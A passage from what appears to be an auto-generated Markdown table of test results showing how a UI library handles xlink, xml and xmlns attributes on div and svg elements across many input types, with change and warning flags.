|\n| `xlink:arcrole=(empty array)`| (changed, warning)| `<empty string>` |\n| `xlink:arcrole=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xlink:arcrole=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xlink:arcrole=(-1)`| (changed, warning)| `\"-1\"` |\n| `xlink:arcrole=(0)`| (changed, warning)| `\"0\"` |\n| `xlink:arcrole=(integer)`| (changed, warning)| `\"1\"` |\n| `xlink:arcrole=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlink:arcrole=(float)`| (changed, warning)| `\"99.99\"` |\n| `xlink:arcrole=(true)`| (initial, warning)| `<null>` |\n| `xlink:arcrole=(false)`| (initial, warning)| `<null>` |\n| `xlink:arcrole=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xlink:arcrole=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xlink:arcrole=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xlink:arcrole=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xlink:arcrole=(symbol)`| (initial, warning)| `<null>` |\n| `xlink:arcrole=(function)`| (initial, warning)| `<null>` |\n| `xlink:arcrole=(null)`| (initial, warning)| `<null>` |\n| `xlink:arcrole=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlink:href` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlink:href=(string)`| (changed, warning)| `\"a string\"` |\n| `xlink:href=(empty string)`| (changed, warning)| `<empty string>` |\n| `xlink:href=(array with string)`| (changed, warning)| `\"string\"` |\n| `xlink:href=(empty array)`| (changed, warning)| `<empty string>` |\n| `xlink:href=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xlink:href=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xlink:href=(-1)`| (changed, warning)| `\"-1\"` |\n| `xlink:href=(0)`| (changed, warning)| `\"0\"` |\n| `xlink:href=(integer)`| (changed, warning)| `\"1\"` |\n| `xlink:href=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlink:href=(float)`| (changed, warning)| `\"99.99\"` |\n| `xlink:href=(true)`| (initial, warning)| `<null>` |\n| `xlink:href=(false)`| (initial, warning)| `<null>` |\n| `xlink:href=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xlink:href=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xlink:href=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xlink:href=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xlink:href=(symbol)`| (initial, warning)| `<null>` |\n| `xlink:href=(function)`| (initial, warning)| `<null>` |\n| `xlink:href=(null)`| (initial, warning)| `<null>` |\n| `xlink:href=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlink:role` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlink:role=(string)`| (changed, warning)| `\"a string\"` |\n| `xlink:role=(empty string)`| (changed, warning)| `<empty string>` |\n| `xlink:role=(array with string)`| (changed, warning)| `\"string\"` |\n| `xlink:role=(empty array)`| (changed, warning)| `<empty string>` |\n| `xlink:role=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xlink:role=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xlink:role=(-1)`| (changed, warning)| `\"-1\"` |\n| `xlink:role=(0)`| (changed, warning)| `\"0\"` |\n| `xlink:role=(integer)`| (changed, warning)| `\"1\"` |\n| `xlink:role=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlink:role=(float)`| (changed, warning)| `\"99.99\"` |\n| `xlink:role=(true)`| (initial, warning)| `<null>` |\n| `xlink:role=(false)`| (initial, warning)| `<null>` |\n| `xlink:role=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xlink:role=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xlink:role=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xlink:role=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xlink:role=(symbol)`| (initial, warning)| `<null>` |\n| `xlink:role=(function)`| (initial, warning)| `<null>` |\n| `xlink:role=(null)`| (initial, warning)| `<null>` |\n| `xlink:role=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlink:show` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlink:show=(string)`| (changed, warning)| `\"a string\"` |\n| `xlink:show=(empty string)`| (changed, warning)| `<empty string>` |\n| `xlink:show=(array with string)`| (changed, warning)| `\"string\"` |\n| `xlink:show=(empty array)`| (changed, warning)| `<empty string>` |\n| `xlink:show=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xlink:show=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xlink:show=(-1)`| (changed, warning)| `\"-1\"` |\n| `xlink:show=(0)`| (changed, warning)| `\"0\"` |\n| `xlink:show=(integer)`| (changed, warning)| `\"1\"` |\n| `xlink:show=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlink:show=(float)`| (changed, warning)| `\"99.99\"` |\n| `xlink:show=(true)`| (initial, warning)| `<null>` |\n| `xlink:show=(false)`| (initial, warning)| `<null>` |\n| `xlink:show=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xlink:show=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xlink:show=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xlink:show=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xlink:show=(symbol)`| (initial, warning)| `<null>` |\n| `xlink:show=(function)`| (initial, warning)| `<null>` |\n| `xlink:show=(null)`| (initial, warning)| `<null>` |\n| `xlink:show=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlink:title` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlink:title=(string)`| (changed, warning)| `\"a string\"` |\n| `xlink:title=(empty string)`| (changed, warning)| `<empty string>` |\n| `xlink:title=(array with string)`| (changed, warning)| `\"string\"` |\n| `xlink:title=(empty array)`| (changed, warning)| `<empty string>` |\n| `xlink:title=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xlink:title=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xlink:title=(-1)`| (changed, warning)| `\"-1\"` |\n| `xlink:title=(0)`| (changed, warning)| `\"0\"` |\n| `xlink:title=(integer)`| (changed, warning)| `\"1\"` |\n| `xlink:title=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlink:title=(float)`| (changed, warning)| `\"99.99\"` |\n| `xlink:title=(true)`| (initial, warning)| `<null>` |\n| `xlink:title=(false)`| (initial, warning)| `<null>` |\n| `xlink:title=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xlink:title=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xlink:title=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xlink:title=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xlink:title=(symbol)`| (initial, warning)| `<null>` |\n| `xlink:title=(function)`| (initial, warning)| `<null>` |\n| `xlink:title=(null)`| (initial, warning)| `<null>` |\n| `xlink:title=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlink:type` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlink:type=(string)`| (changed, warning)| `\"a string\"` |\n| `xlink:type=(empty string)`| (changed, warning)| `<empty string>` |\n| `xlink:type=(array with string)`| (changed, warning)| `\"string\"` |\n| `xlink:type=(empty array)`| (changed, warning)| `<empty string>` |\n| `xlink:type=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xlink:type=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xlink:type=(-1)`| (changed, warning)| `\"-1\"` |\n| `xlink:type=(0)`| (changed, warning)| `\"0\"` |\n| `xlink:type=(integer)`| (changed, warning)| `\"1\"` |\n| `xlink:type=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlink:type=(float)`| (changed, warning)| `\"99.99\"` |\n| `xlink:type=(true)`| (initial, warning)| `<null>` |\n| `xlink:type=(false)`| (initial, warning)| `<null>` |\n| `xlink:type=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xlink:type=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xlink:type=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xlink:type=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xlink:type=(symbol)`| (initial, warning)| `<null>` |\n| `xlink:type=(function)`| (initial, warning)| `<null>` |\n| `xlink:type=(null)`| (initial, warning)| `<null>` |\n| `xlink:type=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlinkActuate` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlinkActuate=(string)`| (changed)| `\"a string\"` |\n| `xlinkActuate=(empty string)`| (changed)| `<empty string>` |\n| `xlinkActuate=(array with string)`| (changed)| `\"string\"` |\n| `xlinkActuate=(empty array)`| (changed)| `<empty string>` |\n| `xlinkActuate=(object)`| (changed)| `\"result of toString()\"` |\n| `xlinkActuate=(numeric string)`| (changed)| `\"42\"` |\n| `xlinkActuate=(-1)`| (changed)| `\"-1\"` |\n| `xlinkActuate=(0)`| (changed)| `\"0\"` |\n| `xlinkActuate=(integer)`| (changed)| `\"1\"` |\n| `xlinkActuate=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlinkActuate=(float)`| (changed)| `\"99.99\"` |\n| `xlinkActuate=(true)`| (initial, warning)| `<null>` |\n| `xlinkActuate=(false)`| (initial, warning)| `<null>` |\n| `xlinkActuate=(string 'true')`| (changed)| `\"true\"` |\n| `xlinkActuate=(string 'false')`| (changed)| `\"false\"` |\n| `xlinkActuate=(string 'on')`| (changed)| `\"on\"` |\n| `xlinkActuate=(string 'off')`| (changed)| `\"off\"` |\n| `xlinkActuate=(symbol)`| (initial, warning)| `<null>` |\n| `xlinkActuate=(function)`| (initial, warning)| `<null>` |\n| `xlinkActuate=(null)`| (initial)| `<null>` |\n| `xlinkActuate=(undefined)`| (initial)| `<null>` |\n\n## `XlinkActuate` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `XlinkActuate=(string)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(empty string)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(array with string)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(empty array)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(object)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(numeric string)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(-1)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(0)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(integer)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(NaN)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(float)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(true)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(false)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(string 'true')`| (initial, warning)| `<null>` |\n| `XlinkActuate=(string 'false')`| (initial, warning)| `<null>` |\n| `XlinkActuate=(string 'on')`| (initial, warning)| `<null>` |\n| `XlinkActuate=(string 'off')`| (initial, warning)| `<null>` |\n| `XlinkActuate=(symbol)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(function)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(null)`| (initial, warning)| `<null>` |\n| `XlinkActuate=(undefined)`| (initial, warning)| `<null>` |\n\n## `xlinkArcrole` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlinkArcrole=(string)`| (changed)| `\"a string\"` |\n| `xlinkArcrole=(empty string)`| (changed)| `<empty string>` |\n| `xlinkArcrole=(array with string)`| (changed)| `\"string\"` |\n| `xlinkArcrole=(empty array)`| (changed)| `<empty string>` |\n| `xlinkArcrole=(object)`| (changed)| `\"result of toString()\"` |\n| `xlinkArcrole=(numeric string)`| (changed)| `\"42\"` |\n| `xlinkArcrole=(-1)`| (changed)| `\"-1\"` |\n| `xlinkArcrole=(0)`| (changed)| `\"0\"` |\n| `xlinkArcrole=(integer)`| (changed)| `\"1\"` |\n| `xlinkArcrole=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlinkArcrole=(float)`| (changed)| `\"99.99\"` |\n| `xlinkArcrole=(true)`| (initial, warning)| `<null>` |\n| `xlinkArcrole=(false)`| (initial, warning)| `<null>` |\n| `xlinkArcrole=(string 'true')`| (changed)| `\"true\"` |\n| `xlinkArcrole=(string 'false')`| (changed)| `\"false\"` |\n| `xlinkArcrole=(string 'on')`| (changed)| `\"on\"` |\n| `xlinkArcrole=(string 'off')`| (changed)| `\"off\"` |\n| `xlinkArcrole=(symbol)`| (initial, warning)| `<null>` |\n| `xlinkArcrole=(function)`| (initial, warning)| `<null>` |\n| `xlinkArcrole=(null)`| (initial)| `<null>` |\n| `xlinkArcrole=(undefined)`| (initial)| `<null>` |\n\n## `xlinkHref` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlinkHref=(string)`| (changed)| `\"a string\"` |\n| `xlinkHref=(empty string)`| (changed)| `<empty string>` |\n| `xlinkHref=(array with string)`| (changed)| `\"string\"` |\n| `xlinkHref=(empty array)`| (changed)| `<empty string>` |\n| `xlinkHref=(object)`| (changed)| `\"result of toString()\"` |\n| `xlinkHref=(numeric string)`| (changed)| `\"42\"` |\n| `xlinkHref=(-1)`| (changed)| `\"-1\"` |\n| `xlinkHref=(0)`| (changed)| `\"0\"` |\n| `xlinkHref=(integer)`| (changed)| `\"1\"` |\n| `xlinkHref=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlinkHref=(float)`| (changed)| `\"99.99\"` |\n| `xlinkHref=(true)`| (initial, warning)| `<null>` |\n| `xlinkHref=(false)`| (initial, warning)| `<null>` |\n| `xlinkHref=(string 'true')`| (changed)| `\"true\"` |\n| `xlinkHref=(string 'false')`| (changed)| `\"false\"` |\n| `xlinkHref=(string 'on')`| (changed)| `\"on\"` |\n| `xlinkHref=(string 'off')`| (changed)| `\"off\"` |\n| `xlinkHref=(symbol)`| (initial, warning)| `<null>` |\n| `xlinkHref=(function)`| (initial, warning)| `<null>` |\n| `xlinkHref=(null)`| (initial)| `<null>` |\n| `xlinkHref=(undefined)`| (initial)| `<null>` |\n\n## `xlinkRole` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlinkRole=(string)`| (changed)| `\"a string\"` |\n| `xlinkRole=(empty string)`| (changed)| `<empty string>` |\n| `xlinkRole=(array with string)`| (changed)| `\"string\"` |\n| `xlinkRole=(empty array)`| (changed)| `<empty string>` |\n| `xlinkRole=(object)`| (changed)| `\"result of toString()\"` |\n| `xlinkRole=(numeric string)`| (changed)| `\"42\"` |\n| `xlinkRole=(-1)`| (changed)| `\"-1\"` |\n| `xlinkRole=(0)`| (changed)| `\"0\"` |\n| `xlinkRole=(integer)`| (changed)| `\"1\"` |\n| `xlinkRole=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlinkRole=(float)`| (changed)| `\"99.99\"` |\n| `xlinkRole=(true)`| (initial, warning)| `<null>` |\n| `xlinkRole=(false)`| (initial, warning)| `<null>` |\n| `xlinkRole=(string 'true')`| (changed)| `\"true\"` |\n| `xlinkRole=(string 'false')`| (changed)| `\"false\"` |\n| `xlinkRole=(string 'on')`| (changed)| `\"on\"` |\n| `xlinkRole=(string 'off')`| (changed)| `\"off\"` |\n| `xlinkRole=(symbol)`| (initial, warning)| `<null>` |\n| `xlinkRole=(function)`| (initial, warning)| `<null>` |\n| `xlinkRole=(null)`| (initial)| `<null>` |\n| `xlinkRole=(undefined)`| (initial)| `<null>` |\n\n## `xlinkShow` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlinkShow=(string)`| (changed)| `\"a string\"` |\n| `xlinkShow=(empty string)`| (changed)| `<empty string>` |\n| `xlinkShow=(array with string)`| (changed)| `\"string\"` |\n| `xlinkShow=(empty array)`| (changed)| `<empty string>` |\n| `xlinkShow=(object)`| (changed)| `\"result of toString()\"` |\n| `xlinkShow=(numeric string)`| (changed)| `\"42\"` |\n| `xlinkShow=(-1)`| (changed)| `\"-1\"` |\n| `xlinkShow=(0)`| (changed)| `\"0\"` |\n| `xlinkShow=(integer)`| (changed)| `\"1\"` |\n| `xlinkShow=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlinkShow=(float)`| (changed)| `\"99.99\"` |\n| `xlinkShow=(true)`| (initial, warning)| `<null>` |\n| `xlinkShow=(false)`| (initial, warning)| `<null>` |\n| `xlinkShow=(string 'true')`| (changed)| `\"true\"` |\n| `xlinkShow=(string 'false')`| (changed)| `\"false\"` |\n| `xlinkShow=(string 'on')`| (changed)| `\"on\"` |\n| `xlinkShow=(string 'off')`| (changed)| `\"off\"` |\n| `xlinkShow=(symbol)`| (initial, warning)| `<null>` |\n| `xlinkShow=(function)`| (initial, warning)| `<null>` |\n| `xlinkShow=(null)`| (initial)| `<null>` |\n| `xlinkShow=(undefined)`| (initial)| `<null>` |\n\n## `xlinkTitle` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlinkTitle=(string)`| (changed)| `\"a string\"` |\n| `xlinkTitle=(empty string)`| (changed)| `<empty string>` |\n| `xlinkTitle=(array with string)`| (changed)| `\"string\"` |\n| `xlinkTitle=(empty array)`| (changed)| `<empty string>` |\n| `xlinkTitle=(object)`| (changed)| `\"result of toString()\"` |\n| `xlinkTitle=(numeric string)`| (changed)| `\"42\"` |\n| `xlinkTitle=(-1)`| (changed)| `\"-1\"` |\n| `xlinkTitle=(0)`| (changed)| `\"0\"` |\n| `xlinkTitle=(integer)`| (changed)| `\"1\"` |\n| `xlinkTitle=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlinkTitle=(float)`| (changed)| `\"99.99\"` |\n| `xlinkTitle=(true)`| (initial, warning)| `<null>` |\n| `xlinkTitle=(false)`| (initial, warning)| `<null>` |\n| `xlinkTitle=(string 'true')`| (changed)| `\"true\"` |\n| `xlinkTitle=(string 'false')`| (changed)| `\"false\"` |\n| `xlinkTitle=(string 'on')`| (changed)| `\"on\"` |\n| `xlinkTitle=(string 'off')`| (changed)| `\"off\"` |\n| `xlinkTitle=(symbol)`| (initial, warning)| `<null>` |\n| `xlinkTitle=(function)`| (initial, warning)| `<null>` |\n| `xlinkTitle=(null)`| (initial)| `<null>` |\n| `xlinkTitle=(undefined)`| (initial)| `<null>` |\n\n## `xlinkType` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xlinkType=(string)`| (changed)| `\"a string\"` |\n| `xlinkType=(empty string)`| (changed)| `<empty string>` |\n| `xlinkType=(array with string)`| (changed)| `\"string\"` |\n| `xlinkType=(empty array)`| (changed)| `<empty string>` |\n| `xlinkType=(object)`| (changed)| `\"result of toString()\"` |\n| `xlinkType=(numeric string)`| (changed)| `\"42\"` |\n| `xlinkType=(-1)`| (changed)| `\"-1\"` |\n| `xlinkType=(0)`| (changed)| `\"0\"` |\n| `xlinkType=(integer)`| (changed)| `\"1\"` |\n| `xlinkType=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xlinkType=(float)`| (changed)| `\"99.99\"` |\n| `xlinkType=(true)`| (initial, warning)| `<null>` |\n| `xlinkType=(false)`| (initial, warning)| `<null>` |\n| `xlinkType=(string 'true')`| (changed)| `\"true\"` |\n| `xlinkType=(string 'false')`| (changed)| `\"false\"` |\n| `xlinkType=(string 'on')`| (changed)| `\"on\"` |\n| `xlinkType=(string 'off')`| (changed)| `\"off\"` |\n| `xlinkType=(symbol)`| (initial, warning)| `<null>` |\n| `xlinkType=(function)`| (initial, warning)| `<null>` |\n| `xlinkType=(null)`| (initial)| `<null>` |\n| `xlinkType=(undefined)`| (initial)| `<null>` |\n\n## `xml:base` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xml:base=(string)`| (changed, warning)| `\"a string\"` |\n| `xml:base=(empty string)`| (changed, warning)| `<empty string>` |\n| `xml:base=(array with string)`| (changed, warning)| `\"string\"` |\n| `xml:base=(empty array)`| (changed, warning)| `<empty string>` |\n| `xml:base=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xml:base=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xml:base=(-1)`| (changed, warning)| `\"-1\"` |\n| `xml:base=(0)`| (changed, warning)| `\"0\"` |\n| `xml:base=(integer)`| (changed, warning)| `\"1\"` |\n| `xml:base=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xml:base=(float)`| (changed, warning)| `\"99.99\"` |\n| `xml:base=(true)`| (initial, warning)| `<null>` |\n| `xml:base=(false)`| (initial, warning)| `<null>` |\n| `xml:base=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xml:base=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xml:base=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xml:base=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xml:base=(symbol)`| (initial, warning)| `<null>` |\n| `xml:base=(function)`| (initial, warning)| `<null>` |\n| `xml:base=(null)`| (initial, warning)| `<null>` |\n| `xml:base=(undefined)`| (initial, warning)| `<null>` |\n\n## `xml:lang` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xml:lang=(string)`| (changed, warning)| `\"a string\"` |\n| `xml:lang=(empty string)`| (changed, warning)| `<empty string>` |\n| `xml:lang=(array with string)`| (changed, warning)| `\"string\"` |\n| `xml:lang=(empty array)`| (changed, warning)| `<empty string>` |\n| `xml:lang=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xml:lang=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xml:lang=(-1)`| (changed, warning)| `\"-1\"` |\n| `xml:lang=(0)`| (changed, warning)| `\"0\"` |\n| `xml:lang=(integer)`| (changed, warning)| `\"1\"` |\n| `xml:lang=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xml:lang=(float)`| (changed, warning)| `\"99.99\"` |\n| `xml:lang=(true)`| (initial, warning)| `<null>` |\n| `xml:lang=(false)`| (initial, warning)| `<null>` |\n| `xml:lang=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xml:lang=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xml:lang=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xml:lang=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xml:lang=(symbol)`| (initial, warning)| `<null>` |\n| `xml:lang=(function)`| (initial, warning)| `<null>` |\n| `xml:lang=(null)`| (initial, warning)| `<null>` |\n| `xml:lang=(undefined)`| (initial, warning)| `<null>` |\n\n## `xml:space` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xml:space=(string)`| (changed, warning)| `\"a string\"` |\n| `xml:space=(empty string)`| (changed, warning)| `<empty string>` |\n| `xml:space=(array with string)`| (changed, warning)| `\"string\"` |\n| `xml:space=(empty array)`| (changed, warning)| `<empty string>` |\n| `xml:space=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xml:space=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xml:space=(-1)`| (changed, warning)| `\"-1\"` |\n| `xml:space=(0)`| (changed, warning)| `\"0\"` |\n| `xml:space=(integer)`| (changed, warning)| `\"1\"` |\n| `xml:space=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xml:space=(float)`| (changed, warning)| `\"99.99\"` |\n| `xml:space=(true)`| (initial, warning)| `<null>` |\n| `xml:space=(false)`| (initial, warning)| `<null>` |\n| `xml:space=(string 'true')`| (changed, warning)| `\"true\"` |\n| `xml:space=(string 'false')`| (changed, warning)| `\"false\"` |\n| `xml:space=(string 'on')`| (changed, warning)| `\"on\"` |\n| `xml:space=(string 'off')`| (changed, warning)| `\"off\"` |\n| `xml:space=(symbol)`| (initial, warning)| `<null>` |\n| `xml:space=(function)`| (initial, warning)| `<null>` |\n| `xml:space=(null)`| (initial, warning)| `<null>` |\n| `xml:space=(undefined)`| (initial, warning)| `<null>` |\n\n## `xmlBase` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xmlBase=(string)`| (changed)| `\"a string\"` |\n| `xmlBase=(empty string)`| (changed)| `<empty string>` |\n| `xmlBase=(array with string)`| (changed)| `\"string\"` |\n| `xmlBase=(empty array)`| (changed)| `<empty string>` |\n| `xmlBase=(object)`| (changed)| `\"result of toString()\"` |\n| `xmlBase=(numeric string)`| (changed)| `\"42\"` |\n| `xmlBase=(-1)`| (changed)| `\"-1\"` |\n| `xmlBase=(0)`| (changed)| `\"0\"` |\n| `xmlBase=(integer)`| (changed)| `\"1\"` |\n| `xmlBase=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xmlBase=(float)`| (changed)| `\"99.99\"` |\n| `xmlBase=(true)`| (initial, warning)| `<null>` |\n| `xmlBase=(false)`| (initial, warning)| `<null>` |\n| `xmlBase=(string 'true')`| (changed)| `\"true\"` |\n| `xmlBase=(string 'false')`| (changed)| `\"false\"` |\n| `xmlBase=(string 'on')`| (changed)| `\"on\"` |\n| `xmlBase=(string 'off')`| (changed)| `\"off\"` |\n| `xmlBase=(symbol)`| (initial, warning)| `<null>` |\n| `xmlBase=(function)`| (initial, warning)| `<null>` |\n| `xmlBase=(null)`| (initial)| `<null>` |\n| `xmlBase=(undefined)`| (initial)| `<null>` |\n\n## `xmlLang` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xmlLang=(string)`| (changed)| `\"a string\"` |\n| `xmlLang=(empty string)`| (changed)| `<empty string>` |\n| `xmlLang=(array with string)`| (changed)| `\"string\"` |\n| `xmlLang=(empty array)`| (changed)| `<empty string>` |\n| `xmlLang=(object)`| (changed)| `\"result of toString()\"` |\n| `xmlLang=(numeric string)`| (changed)| `\"42\"` |\n| `xmlLang=(-1)`| (changed)| `\"-1\"` |\n| `xmlLang=(0)`| (changed)| `\"0\"` |\n| `xmlLang=(integer)`| (changed)| `\"1\"` |\n| `xmlLang=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xmlLang=(float)`| (changed)| `\"99.99\"` |\n| `xmlLang=(true)`| (initial, warning)| `<null>` |\n| `xmlLang=(false)`| (initial, warning)| `<null>` |\n| `xmlLang=(string 'true')`| (changed)| `\"true\"` |\n| `xmlLang=(string 'false')`| (changed)| `\"false\"` |\n| `xmlLang=(string 'on')`| (changed)| `\"on\"` |\n| `xmlLang=(string 'off')`| (changed)| `\"off\"` |\n| `xmlLang=(symbol)`| (initial, warning)| `<null>` |\n| `xmlLang=(function)`| (initial, warning)| `<null>` |\n| `xmlLang=(null)`| (initial)| `<null>` |\n| `xmlLang=(undefined)`| (initial)| `<null>` |\n\n## `xmlns` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xmlns=(string)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(empty string)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(array with string)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(empty array)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(object)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(numeric string)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(-1)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(0)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(integer)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(NaN)`| (initial, warning)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(float)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(true)`| (initial, warning)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(false)`| (initial, warning)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(string 'true')`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(string 'false')`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(string 'on')`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(string 'off')`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(symbol)`| (initial, warning)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(function)`| (initial, warning)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(null)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n| `xmlns=(undefined)`| (initial)| `\"http://www.w3.org/2000/svg\"` |\n\n## `xmlns:xlink` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `xmlns:xlink=(string)`| (changed, warning)| `\"a string\"` |\n| `xmlns:xlink=(empty string)`| (changed, warning)| `<empty string>` |\n| `xmlns:xlink=(array with string)`| (changed, warning)| `\"string\"` |\n| `xmlns:xlink=(empty array)`| (changed, warning)| `<empty string>` |\n| `xmlns:xlink=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `xmlns:xlink=(numeric string)`| (changed, warning)| `\"42\"` |\n| `xmlns:xlink=(-1)`| (changed, warning)| `\"-1\"` |\n| `xmlns:xlink=(0)`| (changed, warning)| `\"0\"` |\n| `xmlns:xlink=(integer)`| (changed, warning)| `\"1\"` |\n| `xmlns:xlink=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `xmlns:xlink=(float)`| (changed, warning)| `\"99.99\"` |\n| `xmlns:xlink=(true)`| (initial, warning)| `<null>` |\n| 